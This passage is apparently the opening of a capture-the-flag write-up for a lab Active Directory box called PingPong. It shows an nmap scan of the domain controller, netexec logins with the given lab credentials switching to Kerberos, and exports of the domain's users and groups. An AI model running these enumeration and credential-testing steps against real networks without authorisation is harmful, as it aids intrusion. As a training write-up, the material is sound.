PingPong
by 0xW1LD

Enumeration
As is common in real life pentests, you will start the PingPong box with credentials for the following account c.roberts / AssumedBreach123
Scans
As usual we start off with an nmap port scan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
# Nmap 7.98 scan initiated Thu May 14 04:35:51 2026 as: /usr/lib/nmap/nmap -sC -sV -vv -oN nmap/scripts_10.129.230.114 -p53,88,135,139,389,445,464,593,636,2179,3268,3269,5985,9389,49668,49670,51402,51406, -Pn 10.129.230.114
Nmap scan report for 10.129.230.114
Host is up, received user-set (0.035s latency).
Scanned at 2026-05-14 04:35:52 EDT for 96s
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-05-14 16:40:02Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: ping.htb, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc1.ping.htb, DNS:ping.htb, DNS:PING
| Issuer: commonName=ping-DC1-CA/domainComponent=ping
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-04-20T18:54:50
| Not valid after: 2106-04-20T18:54:50
| MD5: 76f1 cc4a 1f6c 0942 141b 551e 31d4 8c32
| SHA-1: 938c 7f61 d13d cfb8 1629 e02f f3dc 7a56 6f04 714c
| SHA-256: e00e be1c 40ed 4b32 aabf 56a1 53df 2b89 f899 ea02 8462 e3dc db9e 25be 8ca2 4730
| -----BEGIN CERTIFICATE-----
| MIIF1jCCBL6gAwIBAgITHAAAABBXNgfx016uKwACAAAAEDANBgkqhkiG9w0BAQsF
| ADBBMRMwEQYKCZImiZPyLGQBGRYDaHRiMRQwEgYKCZImiZPyLGQBGRYEcGluZzEU
| MBIGA1UEAxMLcGluZy1EQzEtQ0EwIBcNMjYwNDIwMTg1NDUwWhgPMjEwNjA0MjAx
| ODU0NTBaMAAwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC4oA+lzH17
| zBUauEXc+KI0rvaZKP6EYV34FGEYOto36KlEeWuJVIxfJUAA8uws2WM8Ku0+yRMF
| De5KtitSD5qDUZy87QL9Mewbwu1/XWjuhbYIslo+xq2yXXolqxaDEwN5uwKYwpRt
| S5+fmQob8MahVp8T8gKEKjYirht+DQA86ejVvYIE2fffA8JunIZAdcEDifX+A32b
| BGVnjz2B5y00olpB7rdrhSM30GKgRTq28U4S3zcmSj8A1ZxUky1fj8EZls7VaE7Z
| IDvVo3x4/4+Og33C0Xio2euWUxOvkN6ihD8K7tbiAPwbuuJcxxYSLECeU4TIDgVX
| 4sX3FUmBEoNpAgMBAAGjggMEMIIDADA3BgkrBgEEAYI3FQcEKjAoBiArBgEEAYI3
| FQiC4sJhgfm1YoaBjSX+l3aEoO87gVYBIQIBbgIBADAyBgNVHSUEKzApBggrBgEF
| BQcDAgYIKwYBBQUHAwEGCisGAQQBgjcUAgIGBysGAQUCAwUwDgYDVR0PAQH/BAQD
| AgWgMEAGCSsGAQQBgjcVCgQzMDEwCgYIKwYBBQUHAwIwCgYIKwYBBQUHAwEwDAYK
| KwYBBAGCNxQCAjAJBgcrBgEFAgMFMB0GA1UdDgQWBBTf8xLW2hUhKLVgFFLTYeyL
| wxhlFDAfBgNVHSMEGDAWgBQwyA7RMsrOrWzwAmsfjoCaa5tCmTCBxQYDVR0fBIG9
| MIG6MIG3oIG0oIGxhoGubGRhcDovLy9DTj1waW5nLURDMS1DQSgyKSxDTj1kYzEs
| Q049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENO
| PUNvbmZpZ3VyYXRpb24sREM9cGluZyxEQz1odGI/Y2VydGlmaWNhdGVSZXZvY2F0
| aW9uTGlzdD9iYXNlP29iamVjdENsYXNzPWNSTERpc3RyaWJ1dGlvblBvaW50MIG6
| BggrBgEFBQcBAQSBrTCBqjCBpwYIKwYBBQUHMAKGgZpsZGFwOi8vL0NOPXBpbmct
| REMxLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2
| aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPXBpbmcsREM9aHRiP2NBQ2VydGlmaWNh
| dGU/YmFzZT9vYmplY3RDbGFzcz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MCoGA1Ud
| EQEB/wQgMB6CDGRjMS5waW5nLmh0YoIIcGluZy5odGKCBFBJTkcwTgYJKwYBBAGC
| NxkCBEEwP6A9BgorBgEEAYI3GQIBoC8ELVMtMS01LTIxLTc1MDYzNTYyNC0yMDU4
| NzIxOTAxLTE5MzIzMzgzOTEtMTAwMDANBgkqhkiG9w0BAQsFAAOCAQEAC/FMPSx+
| QwynyJ4ILaexQmifWpp9Q4x9SOr+oYmoP5PiY0oah5LjePJHyteXjLPumOpfcT3n
| eBN5WZK7E0dPk/5NQ5tW1OBo0ICbVBT9BExAdlBa06LM9fx1Ih25/WjqdPqREOBw
| f3Q660aGgsaej75UrLkh03k/v7krVZjaPaBiYHwGIEvebuVPVJGmrXiolLirVEDz
| rMTaJP8vC3KnLIh3KUIrDLcSMDq8dPUTqyRpyUnvSPOAFk07in7kHhjGjzznX/sl
| XIPba/Oa19poYE26tpxNhhs/s75GAstQE8PPhGxkrb3jFYKF0FA7kfM725mJq+Tv
| 8OK8tm98KSpwtw==
|_-----END CERTIFICATE-----
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: ping.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc1.ping.htb, DNS:ping.htb, DNS:PING
| Issuer: commonName=ping-DC1-CA/domainComponent=ping
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-04-20T18:54:50
| Not valid after: 2106-04-20T18:54:50
| MD5: 76f1 cc4a 1f6c 0942 141b 551e 31d4 8c32
| SHA-1: 938c 7f61 d13d cfb8 1629 e02f f3dc 7a56 6f04 714c
| SHA-256: e00e be1c 40ed 4b32 aabf 56a1 53df 2b89 f899 ea02 8462 e3dc db9e 25be 8ca2 4730
| -----BEGIN CERTIFICATE-----
| MIIF1jCCBL6gAwIBAgITHAAAABBXNgfx016uKwACAAAAEDANBgkqhkiG9w0BAQsF
| ADBBMRMwEQYKCZImiZPyLGQBGRYDaHRiMRQwEgYKCZImiZPyLGQBGRYEcGluZzEU
| MBIGA1UEAxMLcGluZy1EQzEtQ0EwIBcNMjYwNDIwMTg1NDUwWhgPMjEwNjA0MjAx
| ODU0NTBaMAAwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC4oA+lzH17
| zBUauEXc+KI0rvaZKP6EYV34FGEYOto36KlEeWuJVIxfJUAA8uws2WM8Ku0+yRMF
| De5KtitSD5qDUZy87QL9Mewbwu1/XWjuhbYIslo+xq2yXXolqxaDEwN5uwKYwpRt
| S5+fmQob8MahVp8T8gKEKjYirht+DQA86ejVvYIE2fffA8JunIZAdcEDifX+A32b
| BGVnjz2B5y00olpB7rdrhSM30GKgRTq28U4S3zcmSj8A1ZxUky1fj8EZls7VaE7Z
| IDvVo3x4/4+Og33C0Xio2euWUxOvkN6ihD8K7tbiAPwbuuJcxxYSLECeU4TIDgVX
| 4sX3FUmBEoNpAgMBAAGjggMEMIIDADA3BgkrBgEEAYI3FQcEKjAoBiArBgEEAYI3
| FQiC4sJhgfm1YoaBjSX+l3aEoO87gVYBIQIBbgIBADAyBgNVHSUEKzApBggrBgEF
| BQcDAgYIKwYBBQUHAwEGCisGAQQBgjcUAgIGBysGAQUCAwUwDgYDVR0PAQH/BAQD
| AgWgMEAGCSsGAQQBgjcVCgQzMDEwCgYIKwYBBQUHAwIwCgYIKwYBBQUHAwEwDAYK
| KwYBBAGCNxQCAjAJBgcrBgEFAgMFMB0GA1UdDgQWBBTf8xLW2hUhKLVgFFLTYeyL
| wxhlFDAfBgNVHSMEGDAWgBQwyA7RMsrOrWzwAmsfjoCaa5tCmTCBxQYDVR0fBIG9
| MIG6MIG3oIG0oIGxhoGubGRhcDovLy9DTj1waW5nLURDMS1DQSgyKSxDTj1kYzEs
| Q049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENO
| PUNvbmZpZ3VyYXRpb24sREM9cGluZyxEQz1odGI/Y2VydGlmaWNhdGVSZXZvY2F0
| aW9uTGlzdD9iYXNlP29iamVjdENsYXNzPWNSTERpc3RyaWJ1dGlvblBvaW50MIG6
| BggrBgEFBQcBAQSBrTCBqjCBpwYIKwYBBQUHMAKGgZpsZGFwOi8vL0NOPXBpbmct
| REMxLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2
| aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPXBpbmcsREM9aHRiP2NBQ2VydGlmaWNh
| dGU/YmFzZT9vYmplY3RDbGFzcz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MCoGA1Ud
| EQEB/wQgMB6CDGRjMS5waW5nLmh0YoIIcGluZy5odGKCBFBJTkcwTgYJKwYBBAGC
| NxkCBEEwP6A9BgorBgEEAYI3GQIBoC8ELVMtMS01LTIxLTc1MDYzNTYyNC0yMDU4
| NzIxOTAxLTE5MzIzMzgzOTEtMTAwMDANBgkqhkiG9w0BAQsFAAOCAQEAC/FMPSx+
| QwynyJ4ILaexQmifWpp9Q4x9SOr+oYmoP5PiY0oah5LjePJHyteXjLPumOpfcT3n
| eBN5WZK7E0dPk/5NQ5tW1OBo0ICbVBT9BExAdlBa06LM9fx1Ih25/WjqdPqREOBw
| f3Q660aGgsaej75UrLkh03k/v7krVZjaPaBiYHwGIEvebuVPVJGmrXiolLirVEDz
| rMTaJP8vC3KnLIh3KUIrDLcSMDq8dPUTqyRpyUnvSPOAFk07in7kHhjGjzznX/sl
| XIPba/Oa19poYE26tpxNhhs/s75GAstQE8PPhGxkrb3jFYKF0FA7kfM725mJq+Tv
| 8OK8tm98KSpwtw==
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
2179/tcp open vmrdp? syn-ack ttl 127
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: ping.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc1.ping.htb, DNS:ping.htb, DNS:PING
| Issuer: commonName=ping-DC1-CA/domainComponent=ping
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-04-20T18:54:50
| Not valid after: 2106-04-20T18:54:50
| MD5: 76f1 cc4a 1f6c 0942 141b 551e 31d4 8c32
| SHA-1: 938c 7f61 d13d cfb8 1629 e02f f3dc 7a56 6f04 714c
| SHA-256: e00e be1c 40ed 4b32 aabf 56a1 53df 2b89 f899 ea02 8462 e3dc db9e 25be 8ca2 4730
| -----BEGIN CERTIFICATE-----
| MIIF1jCCBL6gAwIBAgITHAAAABBXNgfx016uKwACAAAAEDANBgkqhkiG9w0BAQsF
| ADBBMRMwEQYKCZImiZPyLGQBGRYDaHRiMRQwEgYKCZImiZPyLGQBGRYEcGluZzEU
| MBIGA1UEAxMLcGluZy1EQzEtQ0EwIBcNMjYwNDIwMTg1NDUwWhgPMjEwNjA0MjAx
| ODU0NTBaMAAwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC4oA+lzH17
| zBUauEXc+KI0rvaZKP6EYV34FGEYOto36KlEeWuJVIxfJUAA8uws2WM8Ku0+yRMF
| De5KtitSD5qDUZy87QL9Mewbwu1/XWjuhbYIslo+xq2yXXolqxaDEwN5uwKYwpRt
| S5+fmQob8MahVp8T8gKEKjYirht+DQA86ejVvYIE2fffA8JunIZAdcEDifX+A32b
| BGVnjz2B5y00olpB7rdrhSM30GKgRTq28U4S3zcmSj8A1ZxUky1fj8EZls7VaE7Z
| IDvVo3x4/4+Og33C0Xio2euWUxOvkN6ihD8K7tbiAPwbuuJcxxYSLECeU4TIDgVX
| 4sX3FUmBEoNpAgMBAAGjggMEMIIDADA3BgkrBgEEAYI3FQcEKjAoBiArBgEEAYI3
| FQiC4sJhgfm1YoaBjSX+l3aEoO87gVYBIQIBbgIBADAyBgNVHSUEKzApBggrBgEF
| BQcDAgYIKwYBBQUHAwEGCisGAQQBgjcUAgIGBysGAQUCAwUwDgYDVR0PAQH/BAQD
| AgWgMEAGCSsGAQQBgjcVCgQzMDEwCgYIKwYBBQUHAwIwCgYIKwYBBQUHAwEwDAYK
| KwYBBAGCNxQCAjAJBgcrBgEFAgMFMB0GA1UdDgQWBBTf8xLW2hUhKLVgFFLTYeyL
| wxhlFDAfBgNVHSMEGDAWgBQwyA7RMsrOrWzwAmsfjoCaa5tCmTCBxQYDVR0fBIG9
| MIG6MIG3oIG0oIGxhoGubGRhcDovLy9DTj1waW5nLURDMS1DQSgyKSxDTj1kYzEs
| Q049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENO
| PUNvbmZpZ3VyYXRpb24sREM9cGluZyxEQz1odGI/Y2VydGlmaWNhdGVSZXZvY2F0
| aW9uTGlzdD9iYXNlP29iamVjdENsYXNzPWNSTERpc3RyaWJ1dGlvblBvaW50MIG6
| BggrBgEFBQcBAQSBrTCBqjCBpwYIKwYBBQUHMAKGgZpsZGFwOi8vL0NOPXBpbmct
| REMxLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2
| aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPXBpbmcsREM9aHRiP2NBQ2VydGlmaWNh
| dGU/YmFzZT9vYmplY3RDbGFzcz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MCoGA1Ud
| EQEB/wQgMB6CDGRjMS5waW5nLmh0YoIIcGluZy5odGKCBFBJTkcwTgYJKwYBBAGC
| NxkCBEEwP6A9BgorBgEEAYI3GQIBoC8ELVMtMS01LTIxLTc1MDYzNTYyNC0yMDU4
| NzIxOTAxLTE5MzIzMzgzOTEtMTAwMDANBgkqhkiG9w0BAQsFAAOCAQEAC/FMPSx+
| QwynyJ4ILaexQmifWpp9Q4x9SOr+oYmoP5PiY0oah5LjePJHyteXjLPumOpfcT3n
| eBN5WZK7E0dPk/5NQ5tW1OBo0ICbVBT9BExAdlBa06LM9fx1Ih25/WjqdPqREOBw
| f3Q660aGgsaej75UrLkh03k/v7krVZjaPaBiYHwGIEvebuVPVJGmrXiolLirVEDz
| rMTaJP8vC3KnLIh3KUIrDLcSMDq8dPUTqyRpyUnvSPOAFk07in7kHhjGjzznX/sl
| XIPba/Oa19poYE26tpxNhhs/s75GAstQE8PPhGxkrb3jFYKF0FA7kfM725mJq+Tv
| 8OK8tm98KSpwtw==
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
3269/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: ping.htb, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc1.ping.htb, DNS:ping.htb, DNS:PING
| Issuer: commonName=ping-DC1-CA/domainComponent=ping
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-04-20T18:54:50
| Not valid after: 2106-04-20T18:54:50
| MD5: 76f1 cc4a 1f6c 0942 141b 551e 31d4 8c32
| SHA-1: 938c 7f61 d13d cfb8 1629 e02f f3dc 7a56 6f04 714c
| SHA-256: e00e be1c 40ed 4b32 aabf 56a1 53df 2b89 f899 ea02 8462 e3dc db9e 25be 8ca2 4730
| -----BEGIN CERTIFICATE-----
| MIIF1jCCBL6gAwIBAgITHAAAABBXNgfx016uKwACAAAAEDANBgkqhkiG9w0BAQsF
| ADBBMRMwEQYKCZImiZPyLGQBGRYDaHRiMRQwEgYKCZImiZPyLGQBGRYEcGluZzEU
| MBIGA1UEAxMLcGluZy1EQzEtQ0EwIBcNMjYwNDIwMTg1NDUwWhgPMjEwNjA0MjAx
| ODU0NTBaMAAwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC4oA+lzH17
| zBUauEXc+KI0rvaZKP6EYV34FGEYOto36KlEeWuJVIxfJUAA8uws2WM8Ku0+yRMF
| De5KtitSD5qDUZy87QL9Mewbwu1/XWjuhbYIslo+xq2yXXolqxaDEwN5uwKYwpRt
| S5+fmQob8MahVp8T8gKEKjYirht+DQA86ejVvYIE2fffA8JunIZAdcEDifX+A32b
| BGVnjz2B5y00olpB7rdrhSM30GKgRTq28U4S3zcmSj8A1ZxUky1fj8EZls7VaE7Z
| IDvVo3x4/4+Og33C0Xio2euWUxOvkN6ihD8K7tbiAPwbuuJcxxYSLECeU4TIDgVX
| 4sX3FUmBEoNpAgMBAAGjggMEMIIDADA3BgkrBgEEAYI3FQcEKjAoBiArBgEEAYI3
| FQiC4sJhgfm1YoaBjSX+l3aEoO87gVYBIQIBbgIBADAyBgNVHSUEKzApBggrBgEF
| BQcDAgYIKwYBBQUHAwEGCisGAQQBgjcUAgIGBysGAQUCAwUwDgYDVR0PAQH/BAQD
| AgWgMEAGCSsGAQQBgjcVCgQzMDEwCgYIKwYBBQUHAwIwCgYIKwYBBQUHAwEwDAYK
| KwYBBAGCNxQCAjAJBgcrBgEFAgMFMB0GA1UdDgQWBBTf8xLW2hUhKLVgFFLTYeyL
| wxhlFDAfBgNVHSMEGDAWgBQwyA7RMsrOrWzwAmsfjoCaa5tCmTCBxQYDVR0fBIG9
| MIG6MIG3oIG0oIGxhoGubGRhcDovLy9DTj1waW5nLURDMS1DQSgyKSxDTj1kYzEs
| Q049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENO
| PUNvbmZpZ3VyYXRpb24sREM9cGluZyxEQz1odGI/Y2VydGlmaWNhdGVSZXZvY2F0
| aW9uTGlzdD9iYXNlP29iamVjdENsYXNzPWNSTERpc3RyaWJ1dGlvblBvaW50MIG6
| BggrBgEFBQcBAQSBrTCBqjCBpwYIKwYBBQUHMAKGgZpsZGFwOi8vL0NOPXBpbmct
| REMxLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2
| aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPXBpbmcsREM9aHRiP2NBQ2VydGlmaWNh
| dGU/YmFzZT9vYmplY3RDbGFzcz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MCoGA1Ud
| EQEB/wQgMB6CDGRjMS5waW5nLmh0YoIIcGluZy5odGKCBFBJTkcwTgYJKwYBBAGC
| NxkCBEEwP6A9BgorBgEEAYI3GQIBoC8ELVMtMS01LTIxLTc1MDYzNTYyNC0yMDU4
| NzIxOTAxLTE5MzIzMzgzOTEtMTAwMDANBgkqhkiG9w0BAQsFAAOCAQEAC/FMPSx+
| QwynyJ4ILaexQmifWpp9Q4x9SOr+oYmoP5PiY0oah5LjePJHyteXjLPumOpfcT3n
| eBN5WZK7E0dPk/5NQ5tW1OBo0ICbVBT9BExAdlBa06LM9fx1Ih25/WjqdPqREOBw
| f3Q660aGgsaej75UrLkh03k/v7krVZjaPaBiYHwGIEvebuVPVJGmrXiolLirVEDz
| rMTaJP8vC3KnLIh3KUIrDLcSMDq8dPUTqyRpyUnvSPOAFk07in7kHhjGjzznX/sl
| XIPba/Oa19poYE26tpxNhhs/s75GAstQE8PPhGxkrb3jFYKF0FA7kfM725mJq+Tv
| 8OK8tm98KSpwtw==
|_-----END CERTIFICATE-----
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
49668/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49670/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
51402/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
51406/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 2932/tcp): CLEAN (Timeout)
| Check 2 (port 64019/tcp): CLEAN (Timeout)
| Check 3 (port 24872/udp): CLEAN (Timeout)
| Check 4 (port 25450/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-time:
| date: 2026-05-14T16:40:53
|_ start_date: N/A
|_clock-skew: 8h04m02s
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu May 14 04:37:28 2026 -- 1 IP address (1 host up) scanned in 97.04 seconds
Attempting authentication with NXC through SMB which defaults to NTLM authentication, shows STATUS_NOT_SUPPORTED, which indicates that NTLM is disabled in the domain. We can also see that SMB signing is enabled but LDAP signing is disabled.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ nxc smb dc1.ping.htb -u c.roberts -p AssumedBreach123
SMB 10.129.230.114 445 dc1 [*] x64 (name:dc1) (domain:ping.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB 10.129.230.114 445 dc1 [-] ping.htb\c.roberts:AssumedBreach123 STATUS_NOT_SUPPORTED
$ nxc smb dc1.ping.htb -u c.roberts -p AssumedBreach123 -k
SMB dc1.ping.htb 445 dc1 [*] x64 (name:dc1) (domain:ping.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB dc1.ping.htb 445 dc1 [+] ping.htb\c.roberts:AssumedBreach123
$ nxc ldap dc1.ping.htb -u c.roberts -p AssumedBreach123
LDAP 10.129.230.114 389 DC1 [*] None (name:DC1) (domain:ping.htb) (signing:None) (channel binding:Never) (NTLM:False)
LDAP 10.129.230.114 389 DC1 [-] ping.htb\c.roberts:AssumedBreach123 STATUS_NOT_SUPPORTED
$ nxc ldap dc1.ping.htb -u c.roberts -p AssumedBreach123 -k
LDAP dc1.ping.htb 389 DC1 [*] None (name:DC1) (domain:ping.htb) (signing:None) (channel binding:Never) (NTLM:False)
LDAP dc1.ping.htb 389 DC1 [+] ping.htb\c.roberts:AssumedBreach123
Enumerating Domain Objects
Let’s enumerate users with nxc’s --users-export flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ nxc ldap dc1.ping.htb -u c.roberts -p AssumedBreach123 -k --users-export users.txt
LDAP dc1.ping.htb 389 DC1 [*] None (name:DC1) (domain:ping.htb) (signing:None) (channel binding:Never) (NTLM:False)
LDAP dc1.ping.htb 389 DC1 [+] ping.htb\c.roberts:AssumedBreach123
LDAP dc1.ping.htb 389 DC1 [*] Enumerated 25 domain users: ping.htb
LDAP dc1.ping.htb 389 DC1 -Username- -Last PW Set- -BadPW- -Description-
LDAP dc1.ping.htb 389 DC1 Administrator 2026-02-03 04:42:36 0 Built-in account for administering the computer/domain
LDAP dc1.ping.htb 389 DC1 Guest <never> 0 Built-in account for guest access to the computer/domain
LDAP dc1.ping.htb 389 DC1 krbtgt 2025-06-16 07:36:47 0 Key Distribution Center Service Account
LDAP dc1.ping.htb 389 DC1 M.Russell 2025-12-28 03:14:51 0 IT manager
LDAP dc1.ping.htb 389 DC1 G.Lorents 2025-12-28 03:14:51 0 IT Support Specialist
LDAP dc1.ping.htb 389 DC1 Z.Iskam 2025-12-28 03:14:51 0 IT Director
LDAP dc1.ping.htb 389 DC1 M.Wallace 2025-12-28 03:14:51 0 Assurance Tester
LDAP dc1.ping.htb 389 DC1 P.Paul 2025-12-28 03:14:52 0 Security Specialist
LDAP dc1.ping.htb 389 DC1 A.Gordon 2025-12-28 03:14:52 0 Network Engineer
LDAP dc1.ping.htb 389 DC1 P.Klain 2025-12-28 03:14:52 0 Senior IT Technician
LDAP dc1.ping.htb 389 DC1 C.Roberts 2025-12-28 03:14:52 0 Junior IT Technician
LDAP dc1.ping.htb 389 DC1 S.Zhoski 2026-01-17 09:42:20 0
LDAP dc1.ping.htb 389 DC1 R.Miller 2026-01-17 09:42:20 0
LDAP dc1.ping.htb 389 DC1 A.Adam 2026-01-17 09:42:20 0
LDAP dc1.ping.htb 389 DC1 R.Robins 2026-01-17 09:42:20 0
LDAP dc1.ping.htb 389 DC1 P.Pollek 2026-01-17 09:42:20 0
LDAP dc1.ping.htb 389 DC1 O.Plinski 2026-01-17 09:42:20 0
LDAP dc1.ping.htb 389 DC1 V.Vodomir 2026-01-17 09:42:21 0
LDAP dc1.ping.htb 389 DC1 D.MacKenzie 2026-01-17 09:42:21 0
LDAP dc1.ping.htb 389 DC1 P.Vandeval 2026-01-17 09:42:21 0
LDAP dc1.ping.htb 389 DC1 T.Yang 2026-01-17 09:42:21 0
LDAP dc1.ping.htb 389 DC1 N.Neri 2026-01-17 09:42:21 0
LDAP dc1.ping.htb 389 DC1 W.Williams 2026-01-17 09:42:21 0
LDAP dc1.ping.htb 389 DC1 K.Podroski 2026-01-17 09:42:21 0
LDAP dc1.ping.htb 389 DC1 G.James 2026-01-17 09:42:21 0
LDAP dc1.ping.htb 389 DC1 [*] Writing 25 local users to users.txt
Let’s also enumerate Groups with nxc’s --groups flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
$ nxc ldap dc1.ping.htb -u c.roberts -p AssumedBreach123 -k --groups
LDAP dc1.ping.htb 389 DC1 [*] None (name:DC1) (domain:ping.htb) (signing:None) (channel binding:Never) (NTLM:False)
LDAP dc1.ping.htb 389 DC1 [+] ping.htb\c.roberts:AssumedBreach123
LDAP dc1.ping.htb 389 DC1 -Group- -Members- -Description-
LDAP dc1.ping.htb 389 DC1 Administrators 3 Administrators have complete and unrestricted access to the computer/domain
LDAP dc1.ping.htb 389 DC1 Users 3 Users are prevented from making accidental or intentional system-wide changes and can run most applications
LDAP dc1.ping.htb 389 DC1 Guests 2 Guests have the same access as members of the Users group by default, except for the Guest account which is further restricted
LDAP dc1.ping.htb 389 DC1 Print Operators 0 Members can administer printers installed on domain controllers
LDAP dc1.ping.htb 389 DC1 Backup Operators 0 Backup Operators can override security restrictions for the sole purpose of backing up or restoring files
LDAP dc1.ping.htb 389 DC1 Replicator 0 Supports file replication in a domain
LDAP dc1.ping.htb 389 DC1 Remote Desktop Users 0 Members in this group are granted the right to logon remotely
LDAP dc1.ping.htb 389 DC1 Network Configuration Operators 0 Members in this group can have some administrative privileges to manage configuration of networking features
LDAP dc1.ping.htb 389 DC1 Performance Monitor Users 0 Members of this group can access performance counter data locally and remotely
LDAP dc1.ping.htb 389 DC1 Performance Log Users 0 Members of this group may schedule logging of performance counters, enable trace providers, and collect event traces both locally and via remote access to this computer
LDAP dc1.ping.htb 389 DC1 Distributed COM Users 0 Members are allowed to launch, activate and use Distributed COM objects on this machine.
LDAP dc1.ping.htb 389 DC1 IIS_IUSRS 1 Built-in group used by Internet Information Services.
LDAP dc1.ping.htb 389 DC1 Cryptographic Operators 0 Members are authorized to perform cryptographic operations.
LDAP dc1.ping.htb 389 DC1 Event Log Readers 0 Members of this group can read event logs from local machine
LDAP dc1.ping.htb 389 DC1 Certificate Service DCOM Access 1 Members of this group are allowed to connect to Certification Authorities in the enterprise
LDAP dc1.ping.htb 389 DC1 RDS Remote Access Servers 0 Servers in this group enable users of RemoteApp programs and personal virtual desktops access to these resources. In Internet-facing deployments, these servers are typically deployed in an edge network. This group needs to be populated on servers running RD Connection Broker. RD Gateway servers and RD Web Access servers used in the deployment need to be in this group.
LDAP dc1.ping.htb 389 DC1 RDS Endpoint Servers 0 Servers in this group run virtual machines and host sessions where users RemoteApp programs and personal virtual desktops run. This group needs to be populated on servers running RD Connection Broker. RD Session Host servers and RD Virtualization Host servers used in the deployment need to be in this group.
